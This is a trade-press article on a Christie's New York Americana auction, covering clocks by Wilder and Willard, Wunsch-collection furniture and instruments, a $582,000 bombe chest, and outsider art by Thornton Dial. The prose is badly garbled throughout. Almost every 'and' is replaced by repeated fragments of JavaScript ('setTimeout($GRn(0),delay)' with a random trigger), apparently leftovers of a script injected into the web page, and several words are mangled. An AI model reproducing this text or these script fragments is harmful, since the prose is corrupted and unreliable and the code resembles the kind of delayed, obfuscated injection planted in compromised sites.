By: Laura Beach

NEW YORK CITY — American antiques were once thought of as quaint. Now, at least in New York, it is the sales themselves that seem a relic of another time, a moment before global communications, superheated BRIC economies andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the 24/7 selling cycle emptied salesrooms while paradoxically creating big demandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and for Asian andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contemporary art. The week after Christie’s served up $43.5 million worth of Chinese andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Southeast Asian fare, the Rockefeller Plaza firm returned with an amuse-bouche of American arts. The 163-lot selection garnered $3.5 million in a Monday afternoon sale on September 22.

Christie’s has long since mastered the art of putting together its Americana auctions. This one, like many of its predecessors, was well judged, a tribute to deputy chairman John Hays andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and department head Andrew Holter. The session was an enviable 91 percent sold by lot andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 94 percent sold by value. And while trendsetters may be gravitating elsewhere, the Americana market, reassuringly, seems once again a place of solid values, reasoned purchases andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and durable commitments by collectors.

“Since the recession in 2008, we have had to rethink our market andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and have tried to be selective. We look for property that is in good condition, with good surface andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and rich provenance. We put together smaller, curated sales andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and avoid duplication of forms,” Holter explained.

From different consignors, clocks were a distinctive feature of the session. Massachusetts dealer Gary Sullivan, whose research on southeastern Massachusetts clocks formed a cornerstone of the exhibition andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and catalog Harbor & Home: Furniture of Southeastern Massachusetts, 1710–1850, underbid a dwarf tall case clock that is signed on the dial by Hingham clockmaker Joshua Wilder andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and is housed in a case ascribed to Abiel White of Weymouth. To Sullivan’s disappointment, it sold to the phone for $197,000.

“These dwarf clocks often have condition problems, but this one was in remarkably good shape. The dial was flawless andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it had its original feet andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fretwork,” said Sullivan. The case, he said, is an exact miniature of a tall clock case andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and is from a group of six sold between 1821 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1824.

Sullivan was luckier when it came to a Chippendale brass-mounted mahogany shelf clock of rare andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and elegant form made by Simon Willard of Roxbury, Mass., between 1780 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1790. From the Eric Martin Wunsch collection, as the Wilder clock was, it went to Sullivan for $60,000.

Previously owned by the late Senator Frank Lautenberg of New Jersey, a gilt ormolu George Washington mantel clock, 19½ inches tall, made by Dubuc of Paris between 1815 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1819 brought $137,000 from a collector who also acquired Thomas Birch’s tempestuous 1842 oil on canvas view “American Merchant Ship in Distress” for $149,000. With slightly different ornamentation, a second, smaller Dubuc Washington clock made $47,500.

Eleven surveyors’ instruments gathered by Wunsch garnered $76,875. Leading was a late Eighteenth Century example, $37,500, by David Rittenhouse of Philadelphia. Several of the instruments went to Robert Augustyn, a partner in Martayan Lan, a New York dealer in maps, atlases andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and globes. Augustyn’s purchases included a rare Westerly, R.I., compass by Deacon William Stillman, circa 1793–1809, $5,000.

Shrewdly, Christie’s has been selling off Wunsch property a few items at a time over the past five years. The strategy continued to pay dividends this round. In addition to clocks andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and instruments, other Wunsch material included a circa 1760–80 Philadelphia carved mahogany easy chair, sold for $293,000 to C.L. Prickett Antiques; a 1760 Newport, R.I., drop leaf table attributed to John Goddard, $185,000; a Marylandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and shell-inlaid miniature chest with drawer, $93,750; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Nicolino Calyo gouache depicting the 1835 New York fire, $27,500.

The auction’s top lot — a circa 1770 Massachusetts mahogany bombe chest of drawers, $582,000 — came from the Rosebrook collection, largely formed with the advice of the late dealers Jess Pavey of Michigan andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Wayne Pratt of Connecticut.

One of the sale’s few disappointments was also from the Rosebrook collection: a pair of Chippendale mahogany blockfront chests of drawers passed at $100,000. Though they previously sold for nearly three times that amount, buyers may have been deterred by the original but mismatched brasses on the chests.

Attributed to John Townsend, a circa 1760–1770 Newport side chair that belonged to the late Newport collector Ralph Carpenter crossed the block at $125,000.

Folk art ranged from James Bard’s handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andsome oil on canvas portrait of the steamship Austin, $161,000, to an illuminated optician’s trade sign, $87,500, to Twentieth Century self-taught art from the collection of Calynne andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Lou Hill. From the latter group came Thornton Dial’s vigorous mixed media piece “Aseemblage,” $50,000, a record at auction for the artist. Two Dial works on paper brought $5,250 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $8,125.

“We are working hard to increase values for Outsider art at auction andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and are making good strides. For us, it’s a chance to bring contemporary art into a traditional setting andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and to show younger audiences especially that you can mix andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and match traditional andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contemporary works,” Holter explained.

Christie’s next Americana sales are planned for January 22–23. More Wunsch property plus a classic collection of American folk art, primitive paintings to weathervanes, assembled by Jane Supino are promised.

Christie’s New York is at 20 Rockefeller Plaza in New York. For information, 212- 636-2000 or www.christies.com.